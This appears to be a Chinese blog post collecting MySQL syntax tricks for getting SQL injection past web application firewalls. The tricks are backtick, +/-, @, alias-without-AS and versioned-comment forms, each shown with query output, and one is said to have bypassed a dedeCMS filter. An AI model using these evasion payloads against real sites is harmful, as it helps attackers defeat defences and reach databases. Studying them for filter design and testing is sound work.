waf 繞過的技巧

tips1: 神奇的 `  (格式輸出表的那個控制符)

過空格和一些正則。
?
1
2
3
4
5
6
7
8

mysql> select`version`()
   -> ;
+----------------------+
| `version`()          |
+----------------------+
| 5.1.50-community-log |
+----------------------+
1 row in set (0.00 sec)

一個更好玩的技巧,這個`控制符可以當註釋符用(限定條件)。
?
1
2
3
4
5
6
7

mysql> select id from qs_admins where id=1;`dfff and comment it;
+----+
| id |
+----+
| 1  |
+----+
1 row in set (0.00 sec)

usage : where  id ='0'`'xxxxcomment on.
tips2:神奇的- + .
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

mysql> select id from qs_admins;
+----+
| id |
+----+
| 1  |
+----+
1 row in set (0.00 sec)

mysql> select+id-1+1.from qs_admins;
+----------+
| +id-1+1. |
+----------+
| 1        |
+----------+
1 row in set (0.00 sec)

mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
| 1        |
+----------+
1 row in set (0.00 sec)

(有些人不是一直在說關鍵字怎麼過?過濾一個from ...    就是這樣連起來過)
tips3: @

mysql> select@^1.from qs_admins;  
+------|+  
| @^1. |  
+------|+  
| NULL |  
+------|+

這個是bypass  曾經dedeCMS filter .

或者這樣也是ok.
tips4:mysql function() as xxx  也可以不用as 和空格
?
1
2
3
4
5
6
7

mysql> select-count(id)test from qs_admins;
+------|+
| test |
+------|+
| -1   |
+------|+
1 row in set (0.00 sec)
tips5:/*![>5000]*/ 新構造  版本號(這個可能有些過時了。)
?
1
2
3
4
5
6
7

mysql> /\*!40000select\*/ id from qs_admins;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

先分享這麼多,哈。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章